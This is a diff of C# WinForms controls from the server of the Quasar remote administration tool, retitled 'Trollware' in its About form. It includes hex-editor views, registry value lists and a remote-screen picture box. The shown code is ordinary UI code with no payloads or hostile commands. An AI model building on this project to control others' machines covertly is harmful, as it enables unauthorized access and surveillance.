SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor);
SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor);
RectangleF drawSurface = GetBound(point);
string hexValue = _editor.GetByte(index).ToString(_hexType);
g.FillRectangle(backBrush, drawSurface);
g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat);
}
private void PaintByte(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.ForeColor);
RectangleF drawSurface = GetBound(point);
string hexValue = _editor.GetByte(index).ToString(_hexType);
g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat);
}
#endregion
public void SetLowerCase()
{
_hexType = "x2";
}
public void SetUpperCase()
{
_hexType = "X2";
}
public void Focus()
{
int index = _editor.CaretIndex;
Point location = GetCaretLocation(index);
_editor.SetCaretStart(index, location);
}
#endregion
#region Caret
/// <summary>
/// Get the caret current location
/// in the given bound.
/// </summary>
private Point GetCaretLocation(int index)
{
int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine));
int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine));
Point ret = new Point(xPos, yPos);
return ret;
}
#endregion
#region Misc
private void HandleUserRemove()
{
//Calculate where to position the caret after the removal
int index = _editor.SelectionStart;
Point position = GetCaretLocation(index);
//Remove all of the selected bytes
_editor.RemoveSelectedBytes();
//Set the new position of the caret
_editor.SetCaretStart(index, position);
}
private void HandleUserInput(char key)
{
if (!_editor.CaretFocused)
return;
//Perform overwrite
HandleUserRemove();
if (_isEditing)
{
//Editing has already started, should change the second nibble
_isEditing = false;
//Load old bytes to allow change
byte oldByte = _editor.GetByte(_editor.CaretIndex);
//Append the new nibble
oldByte += Convert.ToByte(key.ToString(), 16);
_editor.SetByte(_editor.CaretIndex, oldByte);
//Relocate the caret
int index = _editor.CaretIndex + 1;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
else
{
//Begin new edit phase
_isEditing = true;
string hexByte = key.ToString() + "0";
byte newByte = Convert.ToByte(hexByte, 16);
if (_editor.HexTable.Length <= 0)
{
_editor.AppendByte(newByte);
}
else
{
_editor.InsertByte(_editor.CaretIndex, newByte);
}
//Relocate the caret to the middle of the hex value (provide illusion of editing the second value)
int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2));
int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine));
_editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos));
}
}
private Point GetByteColumnAndRow(int index)
{
int column = index % _editor.BytesPerLine;
int row = index / _editor.BytesPerLine;
Point ret = new Point(column, row);
return ret;
}
private RectangleF GetBound(Point point)
{
RectangleF ret = new RectangleF(
_recHexValue.X + (point.X * _recHexValue.Width),
_recHexValue.Y + (point.Y * _recHexValue.Height),
_recHexValue.Width,
_recHexValue.Height
);
return ret;
}
private bool IsHex(char c)
{
return (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F') ||
Char.IsDigit(c);
}
#endregion
}
}
@@ -0,0 +1,24 @@
using System;
using System.Windows.Forms;
namespace Quasar.Server.Controls.HexEditor
{
public interface IKeyMouseEventHandler
{
void OnKeyPress(KeyPressEventArgs e);
void OnKeyDown(KeyEventArgs e);
void OnKeyUp(KeyEventArgs e);
void OnMouseDown(MouseEventArgs e);
void OnMouseDragged(MouseEventArgs e);
void OnMouseUp(MouseEventArgs e);
void OnMouseDoubleClick(MouseEventArgs e);
void OnGotFocus(EventArgs e);
}
}
@@ -0,0 +1,382 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Controls.HexEditor
{
public class StringViewHandler
{
#region Field
/// <summary>
/// Contains the boundary of
/// a single line
/// </summary>
Rectangle _recStringView;
/// <summary>
/// Contains the format of the
/// string to be used in the
/// string view
/// </summary>
StringFormat _stringFormat;
private HexEditor _editor;
#endregion
#region Properties
public int MaxWidth
{
get { return _recStringView.X + _recStringView.Width; }
}
#endregion
#region Constructor
public StringViewHandler(HexEditor editor)
{
_editor = editor;
//Set String format for the values
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
_stringFormat.Alignment = StringAlignment.Center;
_stringFormat.LineAlignment = StringAlignment.Center;
}
#endregion
#region KeyMouseEvents
#region Key
public void OnKeyPress(KeyPressEventArgs e)
{
if (!Char.IsControl(e.KeyChar))
{
HandleUserInput(e.KeyChar);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
{
if (_editor.SelectionLength > 0)
{
//Remove the selected bytes
HandleUserRemove();
int index = _editor.CaretIndex;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
{
//Remove the byte after the caret
_editor.RemoveByteAt(_editor.CaretIndex);
Point newLocation = GetCaretLocation(_editor.CaretIndex);
_editor.SetCaretStart(_editor.CaretIndex, newLocation);
}
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
{
//Remove byte before the caret
int index = _editor.CaretIndex - 1;
_editor.RemoveByteAt(index);
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
}
else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0)
{
int index = _editor.CaretIndex - _editor.BytesPerLine;
//Check ig caret is att the end of the line
if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width)
{
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height);
//check that this is not the last row (nothing above)
if (index == 0)
{
//Last row do not change index and position
position = new Point(_editor.CaretPosX, _editor.CaretPosY);
index = _editor.BytesPerLine;
}
if (e.Shift)
_editor.SetCaretEnd(index, position);
else
_editor.SetCaretStart(index, position);
}
else
{
HandleArrowKeys(index, e.Shift);
}
}
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
{
int index = _editor.CaretIndex + _editor.BytesPerLine;
if (index > _editor.HexTableLength)
{
index = _editor.HexTableLength;
HandleArrowKeys(index, e.Shift);
}
else
{
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height);
if (e.Shift)
_editor.SetCaretEnd(index, position);
else
_editor.SetCaretStart(index, position);
}
}
else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0)
{
int index = _editor.CaretIndex - 1;
HandleArrowKeys(index, e.Shift);
}
else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
HandleArrowKeys(index, e.Shift);
}
}
public void HandleArrowKeys(int index, bool isShiftDown)
{
Point newLocation = GetCaretLocation(index);
if (isShiftDown)
_editor.SetCaretEnd(index, newLocation);
else
_editor.SetCaretStart(index, newLocation);
}
#endregion
#region Mouse
public void OnMouseDown(int x, int y)
{
int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width;
int iY = (y - _recStringView.Y) / _recStringView.Height;
//Check that values are good
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
iX = iX < 0 ? 0 : iX;
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
iY = iY < 0 ? 0 : iY;
//Make sure values are withing the given bounds
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
{
//Check that column is not greater than max
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
{
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
//Get the smallest possible location (do not want to exceed the max)
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine);
int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X;
int yPos = (iY * _recStringView.Height) + _recStringView.Y;
_editor.SetCaretStart(index, new Point(xPos, yPos));
}
public void OnMouseDragged(int x, int y)
{
int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width;
int iY = (y - _recStringView.Y) / _recStringView.Height;
//Check that values are good
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
iX = iX < 0 ? 0 : iX;
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
if (_editor.FirstVisibleByte > 0)
{
iY = iY < 0 ? -1 : iY;
}
else
{
iY = iY < 0 ? 0 : iY;
}
//Make sure values are withing the given bounds
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
{
//Check that column is not greater than max
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
{
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
//Get the smallest possible location (do not want to exceed the max)
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine);
int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X;
int yPos = (iY * _recStringView.Height) + _recStringView.Y;
_editor.SetCaretEnd(index, new Point(xPos, yPos));
}
public void OnMouseDoubleClick()
{
if (_editor.CaretIndex < _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretEnd(index, newLocation);
}
}
#endregion
#region Focus
public void Focus()
{
int index = _editor.CaretIndex;
Point location = GetCaretLocation(index);
_editor.SetCaretStart(index, location);
}
#endregion
#endregion
#region Paint
public void Update(int startPositionX, Rectangle area)
{
_recStringView = new Rectangle(
startPositionX,
area.Y,
(int)(_editor.CharSize.Width * _editor.BytesPerLine),
(int)(_editor.CharSize.Height) - 2
);
_recStringView.X += _editor.EntityMargin;
}
public void Paint(Graphics g, int index, int startIndex)
{
Point columnAndRow = GetByteColumnAndRow(index);
if (_editor.IsSelected(index + startIndex))
{
PaintByteAsSelected(g, columnAndRow, (index + startIndex));
}
else
{
PaintByte(g, columnAndRow, (index + startIndex));
}
}
private void PaintByteAsSelected(Graphics g, Point point, int index)
{
SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor);
SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor);
RectangleF drawSurface = GetBound(point);
char value = _editor.GetByteAsChar(index);
string strValue = (Char.IsControl(value) ? "." : value.ToString());
g.FillRectangle(backBrush, drawSurface);
g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat);
}
private void PaintByte(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.ForeColor);
RectangleF drawLocation = GetBound(point);
char value = _editor.GetByteAsChar(index);
string strValue = (Char.IsControl(value) ? "." : value.ToString());
g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat);
}
#endregion
#region Caret
/// <summary>
/// Get the caret current location
/// in the given bound.
/// </summary>
private Point GetCaretLocation(int index)
{
int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine));
int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine));
Point ret = new Point(xPos, yPos);
return ret;
}
#endregion
#region Misc
private void HandleUserRemove()
{
//Calculate where to position the caret after the removal
int index = _editor.SelectionStart;
Point position = GetCaretLocation(index);
//Remove all of the selected bytes
_editor.RemoveSelectedBytes();
//Set the new position of the caret
_editor.SetCaretStart(index, position);
}
private void HandleUserInput(char key)
{
if (!_editor.CaretFocused)
return;
HandleUserRemove();
byte newByte = Convert.ToByte(key);
if (_editor.HexTableLength <= 0)
_editor.AppendByte(newByte);
else
_editor.InsertByte(_editor.CaretIndex, newByte);
int index = _editor.CaretIndex + 1;
Point newLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, newLocation);
}
private Point GetByteColumnAndRow(int index)
{
int column = index % _editor.BytesPerLine;
int row = index / _editor.BytesPerLine;
Point ret = new Point(column, row);
return ret;
}
private RectangleF GetBound(Point point)
{
RectangleF ret = new RectangleF(
_recStringView.X + (point.X * (int)_editor.CharSize.Width),
_recStringView.Y + (point.Y * _recStringView.Height),
_editor.CharSize.Width,
_recStringView.Height
);
return ret;
}
#endregion
}
}
+54
View File
@@ -0,0 +1,54 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Controls
{
public static class InputBox
{
public static DialogResult Show(string title, string promptText, ref string value)
{
DialogResult dialogResult = DialogResult.Cancel;
using (var form = new Form())
{
Label label = new Label();
TextBox textBox = new TextBox();
Button buttonOk = new Button();
Button buttonCancel = new Button();
form.Text = title;
label.Text = promptText;
textBox.Text = value;
buttonOk.Text = "OK";
buttonCancel.Text = "Cancel";
buttonOk.DialogResult = DialogResult.OK;
buttonCancel.DialogResult = DialogResult.Cancel;
label.SetBounds(9, 20, 372, 13);
textBox.SetBounds(12, 36, 372, 20);
buttonOk.SetBounds(228, 72, 75, 23);
buttonCancel.SetBounds(309, 72, 75, 23);
label.AutoSize = true;
textBox.Anchor = textBox.Anchor | AnchorStyles.Right;
buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
form.ClientSize = new Size(396, 107);
form.Controls.AddRange(new Control[] {label, textBox, buttonOk, buttonCancel});
form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height);
form.FormBorderStyle = FormBorderStyle.FixedDialog;
form.StartPosition = FormStartPosition.CenterScreen;
form.MinimizeBox = false;
form.MaximizeBox = false;
form.AcceptButton = buttonOk;
form.CancelButton = buttonCancel;
dialogResult = form.ShowDialog();
value = textBox.Text;
}
return dialogResult;
}
}
}
+28
View File
@@ -0,0 +1,28 @@
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Controls
{
public class Line : Control
{
public enum Alignment
{
Horizontal,
Vertical
}
public Alignment LineAlignment { get; set; }
public Line()
{
this.TabStop = false;
}
protected override void OnPaint(PaintEventArgs e)
{
base.OnPaint(e);
e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5),
LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500));
}
}
}
+82
View File
@@ -0,0 +1,82 @@
using Quasar.Common.Helpers;
using Quasar.Server.Helper;
using Quasar.Server.Utilities;
using System;
using System.Windows.Forms;
namespace Quasar.Server.Controls
{
internal class AeroListView : ListView
{
private const uint WM_CHANGEUISTATE = 0x127;
private const short UIS_SET = 1;
private const short UISF_HIDEFOCUS = 0x1;
private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS));
public ListViewColumnSorter LvwColumnSorter { get; set; }
/// <summary>
/// Initializes a new instance of the <see cref="AeroListView"/> class.
/// </summary>
public AeroListView()
{
SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
this.LvwColumnSorter = new ListViewColumnSorter();
this.ListViewItemSorter = LvwColumnSorter;
this.View = View.Details;
this.FullRowSelect = true;
}
/// <summary>
/// Raises the <see cref="E:HandleCreated" /> event.
/// </summary>
/// <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
if (PlatformHelper.RunningOnMono) return;
if (PlatformHelper.VistaOrHigher)
{
// set window theme to explorer
NativeMethods.SetWindowTheme(this.Handle, "explorer", null);
}
if (PlatformHelper.XpOrHigher)
{
// removes the ugly dotted line around focused item
NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero);
}
}
/// <summary>
/// Raises the <see cref="E:ColumnClick" /> event.
/// </summary>
/// <param name="e">The <see cref="ColumnClickEventArgs"/> instance containing the event data.</param>
protected override void OnColumnClick(ColumnClickEventArgs e)
{
base.OnColumnClick(e);
// Determine if clicked column is already the column that is being sorted.
if (e.Column == this.LvwColumnSorter.SortColumn)
{
// Reverse the current sort direction for this column.
this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending)
? SortOrder.Descending
: SortOrder.Ascending;
}
else
{
// Set the column number that is to be sorted; default to ascending.
this.LvwColumnSorter.SortColumn = e.Column;
this.LvwColumnSorter.Order = SortOrder.Ascending;
}
// Perform the sort with these new sort options.
if (!this.VirtualMode)
this.Sort();
}
}
}
+189
View File
@@ -0,0 +1,189 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using Quasar.Server.Utilities;
namespace Quasar.Server.Controls
{
public interface IRapidPictureBox
{
bool Running { get; set; }
Image GetImageSafe { get; set; }
void Start();
void Stop();
void UpdateImage(Bitmap bmp, bool cloneBitmap = false);
}
/// <summary>
/// Custom PictureBox Control designed for rapidly-changing images.
/// </summary>
public class RapidPictureBox : PictureBox, IRapidPictureBox
{
/// <summary>
/// True if the PictureBox is currently streaming images, else False.
/// </summary>
public bool Running { get; set; }
/// <summary>
/// Returns the width of the original screen.
/// </summary>
public int ScreenWidth { get; private set; }
/// <summary>
/// Returns the height of the original screen.
/// </summary>
public int ScreenHeight { get; private set; }
/// <summary>
/// Provides thread-safe access to the Image of this Picturebox.
/// </summary>
public Image GetImageSafe
{
get
{
return Image;
}
set
{
lock (_imageLock)
{
Image = value;
}
}
}
/// <summary>
/// The lock object for the Picturebox's image.
/// </summary>
private readonly object _imageLock = new object();
/// <summary>
/// The Stopwatch for internal FPS measuring.
/// </summary>
private Stopwatch _sWatch;
/// <summary>
/// The internal class for FPS measuring.
/// </summary>
private FrameCounter _frameCounter;
/// <summary>
/// Subscribes an Eventhandler to the FrameUpdated event.
/// </summary>
/// <param name="e">The Eventhandler to set.</param>
public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e)
{
_frameCounter.FrameUpdated += e;
}
/// <summary>
/// Unsubscribes an Eventhandler from the FrameUpdated event.
/// </summary>
/// <param name="e">The Eventhandler to remove.</param>
public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e)
{
_frameCounter.FrameUpdated -= e;
}
/// <summary>
/// Starts the internal FPS measuring.
/// </summary>
public void Start()
{
_frameCounter = new FrameCounter();
_sWatch = Stopwatch.StartNew();
Running = true;
}
/// <summary>
/// Stops the internal FPS measuring.
/// </summary>
public void Stop()
{
_sWatch?.Stop();
Running = false;
}
/// <summary>
/// Updates the Image of this Picturebox.
/// </summary>
/// <param name="bmp">The new bitmap to use.</param>
/// <param name="cloneBitmap">If True the bitmap will be cloned, else it uses the original bitmap.</param>
public void UpdateImage(Bitmap bmp, bool cloneBitmap)
{
try
{
CountFps();
if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height))
UpdateScreenSize(bmp.Width, bmp.Height);
lock (_imageLock)
{
// get old image to dispose it correctly
var oldImage = GetImageSafe;
SuspendLayout();
GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp;
ResumeLayout();
oldImage?.Dispose();
}
}
catch (InvalidOperationException)
{
}
catch (Exception)
{
}
}
/// <summary>
/// Constructor, sets Picturebox double-buffered and initializes the Framecounter.
/// </summary>
public RapidPictureBox()
{
this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true);
}
protected override CreateParams CreateParams
{
get
{
CreateParams cp = base.CreateParams;
cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED
return cp;
}
}
protected override void OnPaint(PaintEventArgs pe)
{
lock (_imageLock)
{
if (GetImageSafe != null)
{
pe.Graphics.DrawImage(GetImageSafe, Location);
}
}
}
private void UpdateScreenSize(int newWidth, int newHeight)
{
ScreenWidth = newWidth;
ScreenHeight = newHeight;
}
private void CountFps()
{
var deltaTime = (float)_sWatch.Elapsed.TotalSeconds;
_sWatch = Stopwatch.StartNew();
_frameCounter.Update(deltaTime);
}
}
}
@@ -0,0 +1,13 @@
using System.Windows.Forms;
namespace Quasar.Server.Controls
{
public class RegistryTreeView : TreeView
{
public RegistryTreeView()
{
//Enable double buffering and ignore WM_ERASEBKGND to reduce flicker
SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
}
}
}
@@ -0,0 +1,72 @@
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Server.Extensions;
using Quasar.Server.Registry;
namespace Quasar.Server.Controls
{
public class RegistryValueLstItem : ListViewItem
{
private string _type { get; set; }
private string _data { get; set; }
public string RegName {
get { return this.Name; }
set
{
this.Name = value;
this.Text = RegValueHelper.GetName(value);
}
}
public string Type {
get { return _type; }
set
{
_type = value;
if (this.SubItems.Count < 2)
this.SubItems.Add(_type);
else
this.SubItems[1].Text = _type;
this.ImageIndex = GetRegistryValueImgIndex(_type);
}
}
public string Data {
get { return _data; }
set
{
_data = value;
if (this.SubItems.Count < 3)
this.SubItems.Add(_data);
else
this.SubItems[2].Text = _data;
}
}
public RegistryValueLstItem(RegValueData value)
{
RegName = value.Name;
Type = value.Kind.RegistryTypeToString();
Data = RegValueHelper.RegistryValueToString(value);
}
private int GetRegistryValueImgIndex(string type)
{
switch (type)
{
case "REG_MULTI_SZ":
case "REG_SZ":
case "REG_EXPAND_SZ":
return 0;
case "REG_BINARY":
case "REG_DWORD":
case "REG_QWORD":
default:
return 1;
}
}
}
}
+36
View File
@@ -0,0 +1,36 @@
namespace Quasar.Server.Controls
{
partial class WordTextBox
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
components = new System.ComponentModel.Container();
}
#endregion
}
}
+171
View File
@@ -0,0 +1,171 @@
using System;
using System.Globalization;
using System.Windows.Forms;
using Quasar.Server.Enums;
namespace Quasar.Server.Controls
{
public partial class WordTextBox : TextBox
{
private bool isHexNumber;
private WordType type;
public override int MaxLength
{
get
{
return base.MaxLength;
}
set { }
}
public bool IsHexNumber
{
get { return isHexNumber; }
set
{
if (isHexNumber == value)
return;
if(value)
{
if (Type == WordType.DWORD)
Text = UIntValue.ToString("x");
else
Text = ULongValue.ToString("x");
}
else
{
if (Type == WordType.DWORD)
Text = UIntValue.ToString();
else
Text = ULongValue.ToString();
}
isHexNumber = value;
UpdateMaxLength();
}
}
public WordType Type
{
get { return type; }
set
{
if (type == value)
return;
type = value;
UpdateMaxLength();
}
}
public uint UIntValue
{
get
{
try
{
if (String.IsNullOrEmpty(Text))
return 0;
else if (IsHexNumber)
return UInt32.Parse(Text, NumberStyles.HexNumber);
else
return UInt32.Parse(Text);
}
catch (Exception)
{
return UInt32.MaxValue;
}
}
}
public ulong ULongValue
{
get
{
try
{
if (String.IsNullOrEmpty(Text))
return 0;
else if (IsHexNumber)
return UInt64.Parse(Text, NumberStyles.HexNumber);
else
return UInt64.Parse(Text);
}
catch (Exception)
{
return UInt64.MaxValue;
}
}
}
public bool IsConversionValid()
{
if (String.IsNullOrEmpty(Text))
return true;
if (!IsHexNumber)
{
return ConvertToHex();
}
return true;
}
public WordTextBox()
{
InitializeComponent();
base.MaxLength = 8;
}
protected override void OnKeyPress(KeyPressEventArgs e)
{
base.OnKeyPress(e);
e.Handled = !IsValidChar(e.KeyChar);
}
private bool IsValidChar(char ch)
{
return (Char.IsControl(ch) ||
Char.IsDigit(ch) ||
(IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f'));
}
private void UpdateMaxLength()
{
if(Type == WordType.DWORD)
{
if (IsHexNumber)
base.MaxLength = 8;
else
base.MaxLength = 10;
}
else
{
if (IsHexNumber)
base.MaxLength = 16;
else
base.MaxLength = 20;
}
}
private bool ConvertToHex()
{
try
{
if (Type == WordType.DWORD)
UInt32.Parse(Text);
else
UInt64.Parse(Text);
return true;
}
catch (Exception)
{
return false;
}
}
}
}
+8
View File
@@ -0,0 +1,8 @@
namespace Quasar.Server.Enums
{
public enum TransferType
{
Upload,
Download
}
}
+8
View File
@@ -0,0 +1,8 @@
namespace Quasar.Server.Enums
{
public enum WordType
{
DWORD,
QWORD
}
}
@@ -0,0 +1,36 @@
using Quasar.Common.Helpers;
using Quasar.Server.Helper;
using Quasar.Server.Utilities;
using System;
using System.Windows.Forms;
namespace Quasar.Server.Extensions
{
public static class ListViewExtensions
{
private const uint SET_COLUMN_WIDTH = 4126;
private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2);
/// <summary>
/// Automatically determines the correct column size on the the given listview.
/// </summary>
/// <param name="targetListView">The listview whose columns are to be autosized.</param>
public static void AutosizeColumns(this ListView targetListView)
{
if (PlatformHelper.RunningOnMono) return;
for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++)
{
NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER);
}
}
/// <summary>
/// Selects all items on the given listview.
/// </summary>
/// <param name="targetListView">The listview whose items are to be selected.</param>
public static void SelectAllItems(this ListView targetListView)
{
NativeMethodsHelper.SetItemState(targetListView.Handle, -1, 2, 2);
}
}
}
@@ -0,0 +1,55 @@
using System;
using Microsoft.Win32;
namespace Quasar.Server.Extensions
{
public static class RegistryKeyExtensions
{
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
{
if (valueData == null)
return "(value not set)";
switch (valueKind)
{
case RegistryValueKind.Binary:
return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)";
case RegistryValueKind.MultiString:
return string.Join(" ", (string[])valueData);
case RegistryValueKind.DWord: //Convert with hexadecimal before int
return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("x8"), ((uint)((int)valueData)).ToString());
case RegistryValueKind.QWord:
return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("x8"), ((ulong)((long)valueData)).ToString());
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return valueData.ToString();
case RegistryValueKind.Unknown:
default:
return string.Empty;
}
}
public static string RegistryTypeToString(this RegistryValueKind valueKind)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return "REG_BINARY";
case RegistryValueKind.MultiString:
return "REG_MULTI_SZ";
case RegistryValueKind.DWord:
return "REG_DWORD";
case RegistryValueKind.QWord:
return "REG_QWORD";
case RegistryValueKind.String:
return "REG_SZ";
case RegistryValueKind.ExpandString:
return "REG_EXPAND_SZ";
case RegistryValueKind.Unknown:
return "(Unknown)";
default:
return "REG_NONE";
}
}
}
}
+153
View File
@@ -0,0 +1,153 @@
namespace Quasar.Server.Forms
{
partial class FrmAbout
{
private System.ComponentModel.IContainer components = null;
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
components.Dispose();
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout));
this.lblTitle = new System.Windows.Forms.Label();
this.lblSubTitle = new System.Windows.Forms.Label();
this.lblVersion = new System.Windows.Forms.Label();
this.lblSep = new System.Windows.Forms.Label();
this.lblCredits1 = new System.Windows.Forms.Label();
this.lblRole1 = new System.Windows.Forms.Label();
this.lblCredits2 = new System.Windows.Forms.Label();
this.lblRole2 = new System.Windows.Forms.Label();
this.btnOkay = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = true;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblTitle.Location = new System.Drawing.Point(12, 12);
this.lblTitle.Name = "lblTitle";
this.lblTitle.TabIndex = 1;
this.lblTitle.Text = "Trollware";
//
// lblSubTitle
//
this.lblSubTitle.AutoSize = true;
this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblSubTitle.Location = new System.Drawing.Point(14, 46);
this.lblSubTitle.Name = "lblSubTitle";
this.lblSubTitle.TabIndex = 2;
this.lblSubTitle.Text = "Credits";
//
// lblVersion
//
this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblVersion.Location = new System.Drawing.Point(150, 46);
this.lblVersion.Name = "lblVersion";
this.lblVersion.Size = new System.Drawing.Size(60, 13);
this.lblVersion.TabIndex = 3;
this.lblVersion.Text = "%VERSION%";
this.lblVersion.TextAlign = System.Drawing.ContentAlignment.TopRight;
//
// lblSep — divider line
//
this.lblSep.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.lblSep.Location = new System.Drawing.Point(12, 86);
this.lblSep.Name = "lblSep";
this.lblSep.Size = new System.Drawing.Size(280, 2);
this.lblSep.TabIndex = 4;
//
// lblCredits1 (@shixvx)
//
